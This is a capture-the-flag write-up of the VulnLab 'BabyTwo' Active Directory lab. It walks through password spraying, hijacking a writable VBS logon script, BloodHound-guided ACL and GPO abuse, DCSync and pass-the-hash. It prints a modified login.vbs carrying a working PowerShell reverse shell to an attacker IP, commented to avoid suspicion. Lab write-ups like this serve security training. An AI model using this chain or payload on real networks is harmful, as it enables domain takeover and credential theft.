Today we are doing the continuation of the Baby (Easy) machine on VulnLab, BabyTwo. This machine will cover Password-Spraying | Hijacking a login script | BloodHound enumeration | Abusing some ACLs & GPOs | DCSync...
Reconnaissance
As always we start off with our TCP scan using nmap
PORTSTATESERVICEVERSION53/tcpopendomainSimpleDNSPlus88/tcpopenkerberos-secMicrosoftWindowsKerberos (server time:2025-10-2508:03:53Z)135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn389/tcpopenldapMicrosoftWindowsActiveDirectoryLDAP (Domain: baby2.vl0.,Site:Default-First-Site-Name)445/tcpopenmicrosoft-ds?464/tcpopenkpasswd5?593/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.0636/tcpopenssl/ldapMicrosoftWindowsActiveDirectoryLDAP (Domain: baby2.vl0.,Site:Default-First-Site-Name)3268/tcpopenldapMicrosoftWindowsActiveDirectoryLDAP (Domain: baby2.vl0.,Site:Default-First-Site-Name)3269/tcpopenssl/ldapMicrosoftWindowsActiveDirectoryLDAP (Domain: baby2.vl0.,Site:Default-First-Site-Name)3389/tcpopenms-wbt-serverMicrosoftTerminalServices9389/tcpopenmc-nmf.NETMessageFraming49664/tcpopenmsrpcMicrosoftWindowsRPC49668/tcpopenmsrpcMicrosoftWindowsRPC56588/tcpopenncacn_httpMicrosoftWindowsRPCoverHTTP1.056589/tcpopenmsrpcMicrosoftWindowsRPC56606/tcpopenmsrpcMicrosoftWindowsRPC62184/tcpopenmsrpcMicrosoftWindowsRPCServiceInfo:Host:DC; OS:Windows; CPE:cpe:/o:microsoft:windowsHostscriptresults:|_clock-skew:mean:-3s,deviation:0s,median:-3s|smb2-security-mode:|3:1:1:|_Messagesigningenabledandrequired|smb2-time:|date:2025-10-25T08:04:46|_start_date:N/AServicedetectionperformed.Pleasereportanyincorrectresultsathttps://nmap.org/submit/.# Nmap done at Sat Oct 25 09:05:27 2025 -- 1 IP address (1 host up) scanned in 122.63 seconds
As we can see we're probably facing a DC (Domain Controller) because all of the simultaneously open ports: TCP Port 88 (Kerberos) | TCP Port 135 (RPC) | TCP Port 5985 (WinRM)...
At the same time let's enumerate the domain using netexec
We add the shown domain to our /etc/hosts file
Let's enumerate TCP 53 (DNS) to check DNS records as well using dig
We see the Fully Qualified Domain Name there also as dc.baby2.vl so we add it to our /etc/hosts as we did earlier with baby2.vl
Now let's climb up some ports and head to TCP 88 (Kerberos) and let's try to brute-force usernames using the Kerbrute tool
Great! we see that guest, administrator & library are available usernames on the DC
Now it's time to check TCP 135 (RPC) using rpcclient, if there's success we can see users, groups and so on
However our access is denied, neither as NULL or as guest we get access to interacting with the RPC service
Before enumerating more, let's sync our time with the DC using faketime & ntpdate
As we're enumerating each TCP port in a ascendant way, let's move onto the following TCP 389 (LDAP) using netexec
But again, we don't have any possibility to enumerate
Now let's move to TCP 445 (SMB) using netexec hopefully this time it will give us results
Success! We get access to some shares, there are two interesting non-standard shares: apps & homes as well as the WRITE permission on the homes share, beforehand let's enumerate more valid users using the --rid-brute parameter on netexec
We get plenty users so let's add them to our users.txt file
To enumerate these shares let's use the spider_plusnetexec module which will crawl over all shares and output us files that were found on a json file
We got access to two files, one is a symbolic link to login.vbs and the other one is a CHANGELOG file
Let's download the CHANGELOG file using netexec again
This is human-written, so we will consider it as a hint for the next steps.
AS-REP Roasting (Failed)
As we got a valid list of usernames but no passwords, let's try a AS-REP Roasting attack using impacket-GetNPUsers
:::note
AS-REP Roasting is a credential-dumping attack targeting Active Directory by exploiting accounts with “Do not require Kerberos preauthentication
:::
As there's no success, let's try a Pasword Spraying Attack
Password Spraying
Let's use netexec to password spray each user using users as passwords
Success! We get two hits as valid credentials, one as Carl.Moore:Carl.Moore and the other as library:library.
:::warning
This is a really critical security concern and shouldn't be happening
:::
Now we will enumerate if we got any new share access abusing these users
We see that now we've got access to two more shares: SYSVOL & apps , let's replicate our earlier attack using the spider_plus module to check any interesting files on the accessible shares
The files discovered by the share crawl show a file that stands out: baby2.vl/scripts/login.vbs
Foothold: Hijacking login script
Remember the symbolic link we found earlier along with the CHANGELOG that indicated a possible login script
We now have access to see what this login script actually does, so let's download it using netexec
This login script is executed every time a user signs in and its purpose is to map network shares for that user. Let's check if we've got write access to this folder using smbclient and putting a test file (users.txt) :
Nice, we've got write access which means that we can manipulate the login.vbs file keep in mind that any change to that file will be executed in the context of whoever logs in.
Let's modify the file like this to establish a reverse shell to our attacker system:
and then put it using the put command in smbclient
Now let's set up our listener
We finally got our foothold onto the system as amelia.griffiths!
For escalating our privileges let's use bloodhound with the library:library credentials which have access to LDAP along with our data collector, we will use rusthound in this case.
:::note
RustHound is a cross-platformBloodHound collector tool written in Rust, making it compatible with Linux, Windows, and macOS.
No AV detection and cross-compiled.
RustHound generates users, groups, computers, OUs, GPOs, containers, and domain JSON files that can be analyzed with BloodHound.
:::
Privilege Escalation using Bloodhound
Now let's ingest it into our Bloodhound
We now visualize that the current user AMELIA.GRIFFITHS has WriteDacl & WriteOwner over GPOADM which means if we read the BloodHound documentation about this,we see that we can give us the GenericAll right over GPOADM, hence changing this user's password without knowing our current password, this is exactly our desired situation so let's abuse this!
Abusing WriteOwner & WriteDacl over GPOADM
First let's give us GenericAll over the GPOADM user using PowerView.ps1
And now we can give the LEGACY group we are in that has the permissions to grant GenericAll over GPOADM
This gave us permission to change the GPOADM's password to something else using net.exe , let's put Password123! as the new password
:::warning
Keep in mind that net.exe is not stealth at all and gives obvious traces to mark it as a security concerns, so in real life Red Teaming / Pentesting you shouldn't use it
:::
As we can see in netexec We successfully changed the user's password
Now let's enumerate the outbound object control of this user using bloodhound like we did with AMELIA.GRIFFITH
There's an interesting GenericAll permission over a Tier 0 GPO
:::note
Tier 0 GPOs are Group Policy Objects that can affect Tier 0 assets - the most privileged accounts and systems in an Active Directory environment.
:::
We can use pyyGPOAbuse in order to abuse this right
Let's try to execute a command that adds the GPOADM user into the administrators group, to do this we need to collect the GPO id, we can find that using BloodHound
And now crafting our command which will add us to the administrators local group with the following command net localgroup administrators gpoadm /add
DCSync using impacket
Now we've got the right to perform a DCSync attack which will retrieve all hashes for the domain users, let's use impacket-secretsdump for this
Perfect! Now let's just PtH to the WinRM Service using evil-winrm to the DC throughout the Administrator account
Hope you enjoyed this machine and see you next time!
nxc ldap baby2.vl -u 'guest' -p '' --users
LDAP 10.129.234.72 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:baby2.vl)
LDAP 10.129.234.72 389 DC [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090D10, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
LDAP 10.129.234.72 389 DC [+] baby2.vl\guest:
LDAP 10.129.234.72 389 DC [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090D10, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4f7c
nxc smb baby2.vl -u 'guest' -p '' --shares
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False)
SMB 10.129.234.72 445 DC [+] baby2.vl\guest:
SMB 10.129.234.72 445 DC [*] Enumerated shares
SMB 10.129.234.72 445 DC Share Permissions Remark
SMB 10.129.234.72 445 DC ----- ----------- ------
SMB 10.129.234.72 445 DC ADMIN$ Remote Admin
SMB 10.129.234.72 445 DC apps READ
SMB 10.129.234.72 445 DC C$ Default share
SMB 10.129.234.72 445 DC docs
SMB 10.129.234.72 445 DC homes READ,WRITE
SMB 10.129.234.72 445 DC IPC$ READ Remote IPC
SMB 10.129.234.72 445 DC NETLOGON READ Logon server share
SMB 10.129.234.72 445 DC SYSVOL Logon server share
Sub MapNetworkShare(sharePath, driveLetter)
This script is a logon script for users and it maps network shares. This means that it will be executed every
time a user logs in. Since we have write access to this share, we can embed a malicious reverse shell inside
this file so that when a user logs in, it will be executed and give us a shell.
First, head to revshells.com and create a base64-encoded PowerShell reverse shell.
Dim objNetwork
Set objNetwork = CreateObject("WScript.Network")
' Check if the drive is already mapped
Dim mappedDrives
Set mappedDrives = objNetwork.EnumNetworkDrives
Dim isMapped
isMapped = False
For i = 0 To mappedDrives.Count - 1 Step 2
If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
isMapped = True
Exit For
End If
Next
If isMapped Then
objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
End If
objNetwork.MapNetworkDrive driveLetter & ":", sharePath
If Err.Number = 0 Then
WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
Else
WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
End If
Set objNetwork = Nothing
End Sub
MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
Sub ReverseShell()
Dim ws
Set ws = CreateObject("WScript.Shell")
' PowerShell reverse shell one-liner
Dim psCommand
psCommand = "powershell -nop -c ""$client = New-Object System.Net.Sockets.TCPClient('10.10.14.33',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"""
ws.Run psCommand, 0, False
Set ws = Nothing
End Sub
' Call the reverse shell function
ReverseShell
' Keep the original mapping function to avoid suspicion
Sub MapNetworkShare(sharePath, driveLetter)
Dim objNetwork
Set objNetwork = CreateObject("WScript.Network")
' Check if the drive is already mapped
Dim mappedDrives
Set mappedDrives = objNetwork.EnumNetworkDrives
Dim isMapped
isMapped = False
For i = 0 To mappedDrives.Count - 1 Step 2
If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
isMapped = True
Exit For
End If
Next
If isMapped Then
objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
End If
objNetwork.MapNetworkDrive driveLetter & ":", sharePath
If Err.Number = 0 Then
WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
Else
WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
End If
Set objNetwork = Nothing
End Sub
MapNetworkShare "\\dc.baby2.vl\apps", "V"